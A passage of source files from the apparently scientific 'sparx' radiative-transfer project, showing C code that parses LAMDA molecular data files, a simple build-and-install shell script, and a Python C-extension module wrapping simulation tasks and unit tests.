Mem_CALLOC(1, molec->rad[i]);\n\t}\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid Mol_AllocCol(Molec *molec, size_t ntmp, size_t ntr)\n/* 'Add' a collisional partner to molec */\n{\n\tsize_t i, icol = molec->ncol;\n\tMolColPart *cp;\n\n\t/* Resize collisional partner array */\n\tmolec->ncol += 1;\n\tmolec->col = Mem_REALLOC(molec->ncol, molec->col);\n\n\t/* Allocate collisional partner */\n\tcp = molec->col[icol] = Mem_CALLOC(1, molec->col[icol]);\n\n\t/* Allocate temperature array */\n\tcp->ntmp = ntmp;\n\tcp->tmp = Mem_CALLOC(ntmp, cp->tmp);\n\n\t/* Allocate transitions array */\n\tcp->ntr = ntr;\n\tcp->tr = Mem_CALLOC(ntr, cp->tr);\n\n\t/* Allocate downward rates array for each transition */\n\tfor(i = 0; i < ntr; i++) {\n\t\tcp->tr[i] = Mem_CALLOC(1, cp->tr[i]);\n\t\tcp->tr[i]->K_ul = Mem_CALLOC(ntmp, cp->tr[i]->K_ul);\n\t}\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid Mol_Free(void *ptr)\n{\n\tMolec *mp = ptr;\n\tsize_t i, j;\n\n\t#define FREE(ptr)\\\n\t\t{if(ptr) free(ptr);}\n\n\tif(mp->name)\n\t\tfree(mp->name);\n\n\tif(mp->chemname)\n\t\tfree(mp->chemname);\n\n\tif(mp->qnum)\n\t\tfree(mp->qnum);\n\n\t/* Free levels */\n\tif(mp->lev) {\n\t\tfor(i = 0; i < mp->nlev; i++) {\n\t\t\tif(mp->lev[i]) {\n\t\t\t\tFREE(mp->lev[i]->qstate);\n\t\t\t\tfree(mp->lev[i]);\n\t\t\t}\n\t\t}\n\t\tfree(mp->lev);\n\t}\n\n\t/* Free radiative transitions */\n\tif(mp->rad) {\n\t\tfor(i = 0; i < mp->nrad; i++) {\n\t\t\tfree(mp->rad[i]);\n\t\t}\n\t\tfree(mp->rad);\n\t}\n\n\t/* Free collisional partners */\n\tif(mp->col) {\n\t\tfor(i = 0; i < mp->ncol; i++) {\n\t\t\tFREE(mp->col[i]->ref);\n\t\t\tFREE(mp->col[i]->tmp);\n\t\t\tfor(j = 0; j < mp->col[i]->ntr; j++) {\n\t\t\t\tfree(mp->col[i]->tr[j]->K_ul);\n\t\t\t\tfree(mp->col[i]->tr[j]);\n\t\t\t}\n\t\t\tfree(mp->col[i]->tr);\n\t\t\tfree(mp->col[i]);\n\t\t}\n\t\tfree(mp->col);\n\t}\n\n\tfree(mp);\n\n\t#undef FREE\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid Mol_Fprintf(FILE *fp, const Molec *mol)\n{\n\tsize_t i, j, k;\n\t#define PRINT(...)\\\n\t\tfprintf(fp, __VA_ARGS__);\n\n\tPRINT(\"Name: `%s'\\n\", mol->name);\n\tPRINT(\"Chemical name: `%s'\\n\", mol->chemname);\n\tPRINT(\"Quantum numbers: `%s'\\n\", mol->qnum);\n\tPRINT(\"Molecular weight: %g\\n\", mol->weight);\n\n\t/* Print energy levels */\n\tPRINT(\"Number of energy levels: %lu\\n\", (unsigned long)mol->nlev);\n\tPRINT(\"%10s|%15s|%15s|%15s\\n\", \"LEVEL\", \"ENERGIES\", \"WEIGHT\", mol->qnum);\n\tPRINT(\"----------|---------------|---------------|----------------\\n\");\n\tfor(i = 0; i < mol->nlev; i++) {\n\t\tPRINT(\"%10lu|%15g|%15g|%15s\\n\", (unsigned long)mol->lev[i]->id, mol->lev[i]->E, mol->lev[i]->g, mol->lev[i]->qstate);\n\t}\n\n\t/* Print radiative transitions */\n\tif(mol->rad) {\n\t\tPRINT(\"Number of radiative transitions: %lu\\n\", (unsigned long)mol->nrad);\n\t\tPRINT(\"%10s|%10s|%10s|%15s|%15s|%15s|%15s\\n\", \"TRANS\", \"UP\", \"LOW\", \"A_ul\", \"B_lu\", \"B_ul\", \"FREQ\");\n\t\tPRINT(\"----------|----------|----------|---------------|---------------|---------------|----------------\\n\");\n\t\tfor(i = 0; i < mol->nrad; i++) {\n\t\t\tPRINT(\"%10lu|%10lu|%10lu|%15g|%15g|%15g|%15g\\n\",\n\t\t\t\t(unsigned long)mol->rad[i]->id,\n\t\t\t\t(unsigned long)mol->rad[i]->up,\n\t\t\t\t(unsigned long)mol->rad[i]->lo,\n\t\t\t\tmol->rad[i]->A_ul,\n\t\t\t\tmol->rad[i]->B_lu,\n\t\t\t\tmol->rad[i]->B_ul,\n\t\t\t\tmol->rad[i]->freq);\n\t\t}\n\t}\n\n\t/* Print collissional partners */\n\tif(mol->col) {\n\t\tPRINT(\"Number of collissional partners: %lu\\n\", (unsigned long)mol->ncol);\n\n\t\tfor(i = 0; i < mol->ncol; i++) {\n\t\t\tPRINT(\"Partner %lu:\\n\", (unsigned long)(i + 1));\n\t\t\tPRINT(\" Species: %s\\n\", Mol_species[mol->col[i]->species - 1]);\n\t\t\tPRINT(\" Reference: %s\\n\", mol->col[i]->ref);\n\t\t\tPRINT(\" Number of temperatures: %lu\\n\", (unsigned long)mol->col[i]->ntmp);\n\t\t\tPRINT(\" Number of collisional transitions: %lu\\n\", (unsigned long)mol->col[i]->ntr);\n\n\t\t\tPRINT(\"%5s|%5s|%5s\", \"TRANS\", \"UP\", \"LOW\");\n\t\t\tfor(j = 0; j < mol->col[i]->ntmp; j++)\n\t\t\t\tPRINT(\"|%9.2gK\", mol->col[i]->tmp[j]);\n\t\t\tPRINT(\"\\n\");\n\n\t\t\tPRINT(\"-----|-----|-----\");\n\t\t\tfor(j = 0; j < mol->col[i]->ntmp; j++)\n\t\t\t\tPRINT(\"|----------\");\n\t\t\tPRINT(\"\\n\");\n\n\t\t\tfor(j = 0; j < mol->col[i]->ntr; j++) {\n\t\t\t\tPRINT(\"%5lu|%5lu|%5lu\",\n\t\t\t\t\t(unsigned long)j,\n\t\t\t\t\t(unsigned long)mol->col[i]->tr[j]->up,\n\t\t\t\t\t(unsigned long)mol->col[i]->tr[j]->lo);\n\t\t\t\tfor(k = 0; k < mol->col[i]->ntmp; k++) {\n\t\t\t\t\tPRINT(\"|%10.2e\", mol->col[i]->tr[j]->K_ul[k])\n\t\t\t\t}\n\t\t\t\tPRINT(\"\\n\");\n\t\t\t}\n\t\t}\n\t}\n\n\t#undef PRINT\n\t\n}\n\n/*----------------------------------------------------------------------------*/\n\nMolec *Mol_ReadLamda(FILE *fp, const char *fname, const char *name)\n/* Read molecular parameters from a LAMDA format data file */\n{\n\tint status = 0, species = 0;\n\tMolec *mp = 0;\n\tchar *sptr = 0, *sptr2 = 0, *ref = 0, **list = 0;\n\tsize_t n, ncol = 0, ntmp = 0, ntr = 0, i, j, k;\n\n\t/* Get number of levels from line 6 and allocate molecule */\n\tif(!status && !(sptr = get_nline(fp, 6)))\n\t\tstatus = Err_SETSTRING(\"In file `%s': Number of levels not found\", fname);\n\n\tif(!status) {\n\t\tn = (size_t)atoi(sptr);\n\t\tif(n == 0)\n\t\t\tstatus = Err_SETSTRING(\"In file `%s': Number of levels must be > 0\", fname);\n\t\telse\n\t\t\tmp = Mol_Alloc(n);\n\t}\n\n\t/* Assign name */\n\tif(!status)\n\t\tmp->name = Mem_STRDUP(name);\n\n\t/* Get chemical name from line 2 */\n\tif(!status && !(sptr = get_nline(fp, 2)))\n\t\tstatus = Err_SETSTRING(\"In file `%s': Chemical name not found\", fname);\n\n\tif(!status)\n\t\tmp->chemname = Mem_STRDUP(MemStr_Stripwhite(sptr));\n\n\t/* Get molecular weight from line 4 */\n\tif(!status && !(sptr = get_nline(fp, 4)))\n\t\tstatus = Err_SETSTRING(\"In file `%s': Molecular weight not found\", fname);\n\n\tif(!status) {\n\t\tmp->weight = atof(sptr);\n\n\t\tif(mp->weight <= 0.0)\n\t\t\tstatus = Err_SETSTRING(\"In file `%s': Molecular weight must be > 0\", fname);\n\t}\n\n\t/* Get quantum numbers from last column of line 7 */\n\tif(!status && !(sptr = get_nline(fp, 7)))\n\t\tstatus = Err_SETSTRING(\"In file `%s': Quantum numbers not found\", fname);\n\n\tfor(i = 0; !status && i < 4; i++) {\n\t\tif(i == 0)\n\t\t\tsptr2 = strtok(sptr, \"+\");\n\t\telse if(i == 3)\n\t\t\tsptr2 = strtok(NULL, \"\\n\");\n\t\telse\n\t\t\tsptr2 = strtok(NULL, \"+\");\n\n\t\tif(!sptr2)\n\t\t\tstatus = Err_SETSTRING(\"In file `%s': Quantum numbers not found\", fname);\n\t}\n\n\tif(!status)\n\t\tmp->qnum = Mem_STRDUP(MemStr_Stripwhite(sptr2));\n\n\t/* get level info from nlev lines after line 7 */\n\tif(!status && !(sptr = get_nline(fp, 7)))\n\t\tstatus = Err_SETSTRING(\"In file `%s': Energy levels not found\", fname);\n\n\tfor(i = 0; i < mp->nlev; i++) {\n\t\tif(!status && !(sptr = get_nline_rel(fp, 1)))\n\t\t\tstatus = Err_SETSTRING(\"In file `%s': Anticipated %d rows in levels table, but got %d\", fname, mp->nlev, i);\n\n\t\tif(!status) { /* Get first column (index) */\n\t\t\tif((sptr2 = strtok(sptr, \"\\t \")))\n\t\t\t\tmp->lev[i]->id = i;\n\t\t\telse\n\t\t\t\tstatus = Err_SETSTRING(\"In file `%s': Error reading level index at row %d\", fname, i + 1);\n\t\t}\n\n\t\tif(!status) { /* Get second column (energy) */\n\t\t\tif((sptr2 = strtok(NULL, \"\\t \")))\n\t\t\t\tmp->lev[i]->E = atof(sptr2);\n\t\t\telse\n\t\t\t\tstatus = Err_SETSTRING(\"In file `%s': Error reading level energy at row %d\", fname, i + 1);\n\t\t}\n\n\t\tif(!status) { /* Get third column (statistical weight) */\n\t\t\tif((sptr2 = strtok(NULL, \"\\t \")))\n\t\t\t\tmp->lev[i]->g = atof(sptr2);\n\t\t\telse\n\t\t\t\tstatus = Err_SETSTRING(\"In file `%s': Error reading level statistical weight at row %d\", fname, i + 1);\n\t\t}\n\n\t\tif(!status) { /* Get fourth column (quantum state) */\n\t\t\tif((sptr2 = strtok(NULL, \"\\0\")))\n\t\t\t\tmp->lev[i]->qstate = Mem_STRDUP(MemStr_Stripwhite(sptr2));\n\t\t\telse\n\t\t\t\tstatus = Err_SETSTRING(\"In file `%s': Error reading level quantum state at row %d\", fname, i + 1);\n\t\t}\n\t}\n\n\t/* Get number of radiative transitions from line 9 + nlev */\n\tif(!status) {\n\t\tif(!(sptr = get_nline(fp, 9 + mp->nlev)))\n\t\t\tstatus = Err_SETSTRING(\"In file `%s': Number of radiative transitions not found\", fname);\n\n\t\tif(!status) {\n\t\t\tn = (size_t)atoi(sptr);\n\t\t\tif(n == 0)\n\t\t\t\tstatus = Err_SETSTRING(\"In file `%s': Number of radiative transitions must be > 0\", fname);\n\t\t\telse\n\t\t\t\tMol_AllocRad(mp, n);\n\t\t}\n\t}\n\n\t/* load line info from nline lines after line 10 + nlev */\n\tif(!status) {\n\t\tif(!(sptr = get_nline(fp, 10 + mp->nlev)))\n\t\t\tstatus = Err_SETSTRING(\"In file `%s': Radiative transitions not found\", fname);\n\n\t\tif(!status) {\n\t\t\tfor(i = 0; i < mp->nrad; i++) {\n\t\t\t\tif(!status && !(sptr = get_nline_rel(fp, 1)))\n\t\t\t\t\tstatus = Err_SETSTRING(\"In file `%s': Anticipated %d rows in radiative transitions table, but got %d\", fname, mp->nrad, i);\n\n\t\t\t\tif(!status) {\n\t\t\t\t\tlist = MemStr_Split(MemStr_Stripwhite(sptr), \"\\t \", &n);\n\t\t\t\t\tif(n != 6)\n\t\t\t\t\t\tstatus = Err_SETSTRING(\"In file `%s': Anticipated %d columns in radiative transitions table, but got %d\", fname, 6, n);\n\t\t\t\t}\n\n\t\t\t\tif(!status) {\n\t\t\t\t\tmp->rad[i]->id = i;\n\t\t\t\t\tmp->rad[i]->up = (size_t)(atoi(list[1]) - 1);\n\t\t\t\t\tmp->rad[i]->lo = (size_t)(atoi(list[2]) - 1);\n\t\t\t\t\tmp->rad[i]->A_ul = atof(list[3]);\n\t\t\t\t\tmp->rad[i]->freq = atof(list[4]);\n\t\t\t\t}\n\t\t\t\tMemStr_FreeList(list, n);\n\t\t\t}\n\t\t}\n\t}\n\n\t/* Get number of collisonal partners from 12 + nlev + nrad */\n\tif(!status) {\n\t\tif(!(sptr = get_nline(fp, 12 + mp->nlev + mp->nrad)))\n\t\t\tstatus = Err_SETSTRING(\"In file `%s': Number of collisonal partners not found\", fname);\n\n\t\tif(!status) {\n\t\t\tncol = (size_t)atoi(sptr);\n\t\t\tif(ncol == 0)\n\t\t\t\tstatus = Err_SETSTRING(\"In file `%s': Number of collisional partners must be > 0\", fname);\n\t\t}\n\t}\n\n\t/* Loop through collisional partners */\n\tfor(i = 0; i < ncol; i++) {\n\t\t/* Get species & reference from 2 lines below */\n\t\tif(!status && !(sptr = get_nline_rel(fp, 2))) {\n\t\t\tstatus = Err_SETSTRING(\"In file `%s': Collisional partner reference not found\", fname);\n\t\t}\n\n\t\tif(!status) {\n\t\t\tref = Mem_STRDUP(MemStr_Stripwhite(sptr));\n\n\t\t\t/* Extract species code */\n\t\t\tsptr2 = strtok(sptr, \" \");\n\t\t\tif(sptr2)\n\t\t\t\tspecies = atoi(sptr2);\n\t\t\tif(species < 1 || species > 6)\n\t\t\t\tstatus = Err_SETSTRING(\"In file `%s': Collisional partner species must be >= 1 and <= 6 (string=%s)\", fname, sptr2);\n\t\t}\n\n\t\tif(!status) {\n\t\t\t/* Extrance reference */\n\t\t\tsptr = strtok(NULL, \"\\0\");\n\t\t\tfree(ref);\n\t\t\tref = Mem_STRDUP(MemStr_Stripwhite(sptr));\n\t\t}\n\n\t\t/* Get number of transitions from 2 lines below */\n\t\tif(!status && !(sptr = get_nline_rel(fp, 2))) {\n\t\t\tstatus = Err_SETSTRING(\"In file `%s': Number of collisional transitions not found\", fname);\n\t\t}\n\n\t\tif(!status) {\n\t\t\tntr = (size_t)atoi(sptr);\n\t\t\tif(ntr == 0)\n\t\t\t\tstatus = Err_SETSTRING(\"In file `%s': Number of collisional transitions must be > 0\", fname);\n\t\t}\n\n\t\t/* Get number of temperatures from 2 lines below */\n\t\tif(!status && !(sptr = get_nline_rel(fp, 2))) {\n\t\t\tstatus = Err_SETSTRING(\"In file `%s': Collisional partner reference not found\", fname);\n\t\t}\n\n\t\tif(!status) {\n\t\t\tntmp = (size_t)atoi(sptr);\n\t\t\tif(ntmp == 0)\n\t\t\t\tstatus = Err_SETSTRING(\"In file `%s': Number of collisional transitions must be > 0\", fname);\n\t\t}\n\n\t\t/* Allocate collisional partner */\n\t\tif(!status) {\n\t\t\tMol_AllocCol(mp, ntmp, ntr);\n\n\t\t\t/* Load reference */\n\t\t\tmp->col[i]->ref = ref;\n\t\t\tref = 0;\n\t\t\tmp->col[i]->species = species;\n\t\t}\n\n\t\t/* Get list of temperatures 2 lines below */\n\t\tif(!status && !(sptr = get_nline_rel(fp, 2))) {\n\t\t\tstatus = Err_SETSTRING(\"In file `%s': Collisional partner reference not found\", fname);\n\t\t}\n\n\t\tif(!status) {\n\t\t\tlist = MemStr_Split(MemStr_Stripwhite(sptr), \"\\t \", &n);\n\t\t\tif(n != ntmp)\n\t\t\t\tstatus = Err_SETSTRING(\"In file `%s': Wrong number of temperatures (should be %d, only %d found)\", fname, ntmp, n);\n\n\t\t\tif(!status) {\n\t\t\t\tfor(j = 0; !status && j < ntmp; j++) {\n\t\t\t\t\tmp->col[i]->tmp[j] = atof(list[j]);\n\t\t\t\t\tif(mp->col[i]->tmp[j] <= 0)\n\t\t\t\t\t\tstatus = Err_SETSTRING(\"In file `%s': Temperature must be > 0\", fname);\n\t\t\t\t}\n\t\t\t}\n\t\t\tMemStr_FreeList(list, n);\n\t\t}\n\n\t\t/* Skip one line and start getting K_ul ntr lines below */\n\t\tif(!status && !(sptr = get_nline_rel(fp, 1)))\n\t\t\tstatus = Err_SETSTRING(\"In file `%s': Can't find collisional rate coefficients table\", fname);\n\n\t\tfor(j = 0; j < ntr; j++) {\n\t\t\tif(!status && !(sptr = get_nline_rel(fp, 1)))\n\t\t\t\tstatus = Err_SETSTRING(\"In file `%s': Anticipated %d rows of collisional rate coeff table, but got %d\", fname, ntr, j);\n\n\t\t\tif(!status) {\n\t\t\t\tlist = MemStr_Split(MemStr_Stripwhite(sptr), \"\\t \", &n);\n\t\t\t\tif(n != ntmp + 3)\n\t\t\t\t\tstatus = Err_SETSTRING(\"In file `%s': Anticipated %d columns in collisional rate coeff table, but got %d\", fname, ntmp + 3, n);\n\t\t\t}\n\n\t\t\tif(!status) {\n\t\t\t\tmp->col[i]->tr[j]->up = (size_t)atoi(list[1]) - 1;\n\t\t\t\tmp->col[i]->tr[j]->lo = (size_t)atoi(list[2]) - 1;\n\t\t\t\tfor(k = 0; k < ntmp; k++)\n\t\t\t\t\tmp->col[i]->tr[j]->K_ul[k] = atof(list[k + 3]);\n\t\t\t}\n\n\t\t\tif(list) {\n\t\t\t\tMemStr_FreeList(list, n);\n\t\t\t\tlist = 0;\n\t\t\t}\n\t\t}\n\t}\n\n\tif(ref)\n\t\tfree(ref);\n\n\t/* Cleanup if things went wrong */\n\tif(status) {\n\t\tMol_Free(mp);\n\t\tmp = NULL;\n\t}\n\n\treturn mp;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid Mol_FwriteBinary(const Molec *mol, FILE *fp)\n/* Write the Molec structure to binary file */\n{\n\tsize_t i;\n\n\t/* Write base structure */\n\tMem_FWRITE(mol, 1, fp);\n\tMem_FputStr(mol->name, fp);\n\tMem_FputStr(mol->chemname, fp);\n\tMem_FputStr(mol->qnum, fp);\n\n\t/* Write levels */\n\tfor(i = 0; i < mol->nlev; i++) {\n\t\tMem_FWRITE(mol->lev[i], 1, fp);\n\t\tMem_FputStr(mol->lev[i]->qstate, fp);\n\t}\n\n\t/* Write number of radiative transitions */\n\tMem_FwriteSize_t(mol->nrad, fp);\n\n\t/* Write radiative transitions */\n\tfor(i = 0; i < mol->nrad; i++) {\n\t\tMem_FWRITE(mol->rad[i], 1, fp);\n\t}\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nMolec *Mol_FreadBinary(FILE *fp)\n/* Read the Molec structure from binary file */\n{\n\tMolec *tmp = Mem_CALLOC(1, tmp), *mol;\n\tsize_t i;\n\n\t/* Allocate and read base structure */\n\tMem_FREAD(tmp, 1, fp);\n\tmol = Mol_Alloc(tmp->nlev);\n\tmol->name = Mem_FgetStr(fp);\n\tmol->chemname = Mem_FgetStr(fp);\n\tmol->qnum = Mem_FgetStr(fp);\n\tmol->weight = tmp->weight;\n\tfree(tmp);\n\n\t/* Read levels */\n\tfor(i = 0; i < mol->nlev; i++) {\n\t\tMem_FREAD(mol->lev[i], 1, fp);\n\t\tmol->lev[i]->qstate = Mem_FgetStr(fp);\n\t}\n\n\t/* Read number of radiative transitions */\n\tMem_FreadSize_t(&mol->nrad, fp);\n\n\t/* Allocate radiative transitions */\n\tMol_AllocRad(mol, mol->nrad);\n\n\t/* Read radiative transitions */\n\tfor(i = 0; i < mol->nrad; i++) {\n\t\tMem_FREAD(mol->rad[i], 1, fp);\n\t}\n\n\treturn mol;\n}\n\n/*----------------------------------------------------------------------------*/\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.5498489141464233, "alphanum_fraction": 0.6072507500648499, "avg_line_length": 40.3125, "blob_id": "fd8e1554622787734d9e12b4c3cdeff62c7c3a84", "content_id": "e1f3248b3acb445d21d721937a3eb31404f8caaa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 662, "license_type": "no_license", "max_line_length": 92, "num_lines": 16, "path": "/install.sh", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#! /bin/bash\n\nexport DEPOT=$HOME/depot\nexport OPTS=\"--with-include=$DEPOT/fftw-3.3.2/include --with-lib=$DEPOT/fftw-3.3.2/lib \\\n --with-include=$DEPOT/gsl-1.13/include --with-lib=$DEPOT/gsl-1.13/lib \\\n --with-include=$DEPOT/hdf5-1.8.12/include --with-lib=$DEPOT/hdf5-1.8.12/lib \\\n --with-include=$DEPOT/miriad-4.1.3/include --with-lib=$DEPOT/miriad-4.1.3/lib \\\n --with-include=$DEPOT/lam-7.1.4/include --with-lib=$DEPOT/lam-7.1.4/lib --lam \\\n --nthread=4\"\n\npython setup.py build $OPTS $1\nif [[ $? != 0 ]]; then\n echo \"Build failed\"\n exit 1\nfi\npython setup.py install --prefix=$DEPOT/sparx $OPTS\n\n" }, { "alpha_fraction": 0.5205992460250854, "alphanum_fraction": 0.5230961441993713, "avg_line_length": 17.045454025268555, "blob_id": "e7f153e6eafa03e0e46c226288cddc315b9a9f0f", "content_id": "35ca6512ea7f6915d239ca74755aebb8cc8f13e3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 801, "license_type": "no_license", "max_line_length": 84, "num_lines": 44, "path": "/src/sparx-task-dumpmodel.c", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#include \"sparx.h\"\n\n/* Global parameter struct */\nstatic struct glb {\n\tSpModel model;\n} glb;\n\n/* Subroutine prototypes */\nstatic int ProcInps(void);\n\n/* Task definition */\n//SpTask SpTask_dumpmodel = Sp_TASK(\"dumpmodel\", \"Print out model\", TaskMain, keys);\n\n/*----------------------------------------------------------------------------*/\n\nint SpTask_dumpmodel(void)\n{\n\tint status = 0;\n\n\t/* Reset parms */\n\tMem_BZERO(&glb);\n\n\t/* Process inputs */\n\tstatus = ProcInps();\n\n\tif(!status)\n\t\tSpModel_PrintModel(glb.model);\n\n\tSpModel_Cleanup(glb.model);\n\n\treturn status;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic int ProcInps(void)\n{\n\tint sts = 0;\n\n\t/* K_SRCF: source model */\n\tif(!sts) sts = SpPy_GetInput_model(\"source\", &glb.model);\n\n\treturn sts;\n}\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.5554994344711304, "alphanum_fraction": 0.5644264817237854, "avg_line_length": 26.58604621887207, "blob_id": "c04c181b927f095ad8d3d6e3ed28f01fb4a48957", "content_id": "8cdd24c664d6d3bd2465bb76df3813d8a0eef84d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 11874, "license_type": "no_license", "max_line_length": 137, "num_lines": 430, "path": "/src/_sparx.c", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#include <Python.h>\n#include <numpy/arrayobject.h>\n#include \"sparx.h\"\n#include \"_sparx.h\"\n#include \"_sparx-unittests.h\"\n\n/* Global parameters */\nSpParm Sp_parm;\n\n/* Function prototypes */\nPyMODINIT_FUNC init_sparx(void);\nstatic PyObject *get_prog(PyObject *self, PyObject *args);\nstatic PyObject *set_prog(PyObject *self, PyObject *args);\nstatic PyObject *get_mpi_info(PyObject *self, PyObject *args);\nstatic PyObject *task_template(PyObject *self, PyObject *args);\nstatic PyObject *task_amc(PyObject *self, PyObject *args);\nstatic PyObject *task_telsim(PyObject *self, PyObject *args);\nstatic PyObject *task_pygrid(PyObject *self, PyObject *args);\nstatic PyObject *task_dumpmodel(PyObject *self, PyObject *args);\nstatic PyObject *test_fft(PyObject *self, PyObject *args);\nstatic PyObject *load_mir_xyv(PyObject *self, PyObject *args);\nstatic PyObject *load_mir_xyv2(PyObject *self, PyObject *args);\nstatic PyObject *test_array(PyObject *self, PyObject *args);\nstatic PyObject *test_dumpgrid(PyObject *self, PyObject *args);\nstatic PyObject *test_planck(PyObject *self, PyObject *args);\nstatic PyObject *test_velocity(PyObject *self, PyObject *args);\n#ifdef HAVE_MPI\nstatic PyObject *init_mpi(PyObject *self, PyObject *args);\nstatic PyObject *finalize_mpi(PyObject *self, PyObject *args);\n#endif\n\n/* Python module method table */\nstatic PyMethodDef _SPARXMethods[] = {\n {\"get_prog\", get_prog, METH_VARARGS, \"Get program name.\"},\n {\"set_prog\", set_prog, METH_VARARGS, \"Set program name.\"},\n #ifdef HAVE_MPI\n {\"init_mpi\", init_mpi, METH_VARARGS, \"Initialize MPI environment.\"},\n {\"finalize_mpi\", finalize_mpi, METH_VARARGS, \"Finalize MPI environment.\"},\n #endif\n {\"get_mpi_info\", get_mpi_info, METH_VARARGS, \"Get MPI rank and size.\"},\n {\"task_amc\", task_amc, METH_VARARGS, \"Accelerated Monte Carlo solver for non-LTE molecular excitation.\"},\n {\"task_telsim\", task_telsim, METH_VARARGS, \"Observation synthesizer.\"},\n {\"task_pygrid\", task_pygrid, METH_VARARGS, \"Python interface for generating SPARX models.\"},\n {\"task_dumpmodel\", task_dumpmodel, METH_VARARGS, \"Task for dumping models. Mainly for testing the C/HDF5 interface.\"},\n {\"task_template\", task_template, METH_VARARGS, \"Template for C tasks.\"},\n {\"test_fft\", test_fft, METH_VARARGS, \"Test Fast Fourier Transform.\"},\n {\"test_array\", test_array, METH_VARARGS, \"Test NumPy array creation.\"},\n {\"test_dumpgrid\", test_dumpgrid, METH_VARARGS, \"Test dumpgrid with C api.\"},\n {\"test_planck\", test_planck, METH_VARARGS, \"Test the Planck function.\"},\n {\"test_velocity\", test_velocity, METH_VARARGS, \"Test handling of photon velocities.\"},\n {\"test_passargs\", test_passargs, METH_VARARGS, \"Test passing of arguments between Python and C.\"},\n {\"test_geom_dotprod\", test_geom_dotprod, METH_VARARGS, \"Test vector dot product in geometry.c\"},\n {\"test_geom_vecops\", test_geom_vecops, METH_VARARGS, \"Test various vector operations in geometry.c\"},\n {\"test_geom_rayprop\", test_geom_rayprop, METH_VARARGS, \"Test ray propagation in a single voxel\"},\n {\"test_geom_rayprop2\", test_geom_rayprop2, METH_VARARGS, \"Test ray propagation in a partitioned grid\"},\n {\"test_model_print_ratran\", test_model_print_ratran, METH_VARARGS, \"Test whether the print-model-to-ratran function works properly\"},\n {NULL, NULL, 0, NULL} /* Sentinel */\n};\n \n/*----------------------------------------------------------------------------*/\n\nPyMODINIT_FUNC init_sparx(void)\n/* Module init function */\n{\n PyObject *o, *mod, *dic, *sparx;\n\n /* Reset global parameters */\n Mem_BZERO(&Sp_parm);\n\n /* Set default values */\n strncpy(Sp_parm.prog, \"sparx\", BUFSIZ);\n Sp_parm.debug = 0;\n Sp_parm.verbose = 1;\n Sp_parm.out_fp = stdout;\n Sp_parm.err_fp = stderr;\n\n /* Default settings for single process runs */\n Sp_parm.mpi_rank = 0;\n Sp_parm.mpi_size = 1;\n\n /* Initialize module */\n mod = Py_InitModule(\"sparx._sparx\", _SPARXMethods);\n\n /* Necessary for NumPy */\n import_array();\n\n /* Add flag indicating whether the module has been compiled\n * with MPI support */\n dic = PyModule_GetDict(mod);\n #ifdef HAVE_MPI\n o = PyBool_FromLong(1);\n #else\n o = PyBool_FromLong(0);\n #endif\n PyDict_SetItemString(dic, \"HAVE_MPI\", o);\n Py_DECREF(o);\n\n /* Import sparx module */\n sparx = PyImport_ImportModule(\"sparx\");\n\n /* Import MOLEC_DIR from module sparx */\n o = PyObject_GetAttrString(sparx, \"MOLEC_DIR\");\n Deb_ASSERT(o != NULL);\n Sp_parm.molec_path = Mem_STRDUP(Sp_PYSTR(o));\n Py_DECREF(o);\n\n /* Import KAPPA_DIR from module sparx */\n o = PyObject_GetAttrString(sparx, \"KAPPA_DIR\");\n Deb_ASSERT(o != NULL);\n Sp_parm.kappa_path = Mem_STRDUP(Sp_PYSTR(o));\n Py_DECREF(o);\n\n /* Cleanup */\n Py_DECREF(sparx);\n\n return;\n}\n\n/*----------------------------------------------------------------------------*/\n\n#ifdef HAVE_MPI\nstatic PyObject *init_mpi(PyObject *self, PyObject *args)\n/* Init MPI environment if not already done. If init_complete is true, do not\n * do any initialization and simply return rank and size.\n */\n{\n int sts = 0;\n static int init_complete = 0;\n\n USEUP_SELF_ARGS();\n\n if(!init_complete) {\n sts = MPI_Init(NULL, NULL); /* Init MPI */\n if(!sts) sts = MPI_Comm_rank(MPI_COMM_WORLD, &Sp_parm.mpi_rank); /* Get rank of process */\n if(!sts) sts = MPI_Comm_size(MPI_COMM_WORLD, &Sp_parm.mpi_size); /* Get size of process pool */\n if(!sts) sts = MPI_Barrier(MPI_COMM_WORLD); /* Sync all processes */\n if(!sts) init_complete = 1;\n }\n\n /* Return rank and size if successful */\n if(!sts) return Py_BuildValue(\"(i,i)\", Sp_parm.mpi_rank, Sp_parm.mpi_size);\n else return NULL;\n}\n#endif\n\n/*----------------------------------------------------------------------------*/\n\n#ifdef HAVE_MPI\nstatic PyObject *finalize_mpi(PyObject *self, PyObject *args)\n/* Finalize MPI environment */\n{\n USEUP_SELF_ARGS();\n\n MPI_Finalize();\n\n Py_RETURN_NONE;\n}\n#endif\n\n/*----------------------------------------------------------------------------*/\n\nstatic PyObject *get_mpi_info(PyObject *self, PyObject *args)\n{\n USEUP_SELF_ARGS();\n\n return Py_BuildValue(\"(i,i)\", Sp_parm.mpi_rank, Sp_parm.mpi_size);\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic PyObject *task_dumpmodel(PyObject *self, PyObject *args)\n{\n int status = 0;\n\n USEUP_SELF_ARGS();\n\n status = SpTask_dumpmodel();\n\n if(!status) Py_RETURN_NONE;\n else return NULL;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic PyObject *task_template(PyObject *self, PyObject *args)\n{\n int status = 0;\n\n USEUP_SELF_ARGS();\n\n status = SpTask_Template();\n\n if(!status) Py_RETURN_NONE;\n else return NULL;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic PyObject *get_prog(PyObject *self, PyObject *args)\n{\n USEUP_SELF_ARGS();\n\n return Py_BuildValue(\"s\", Sp_parm.prog);\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic PyObject 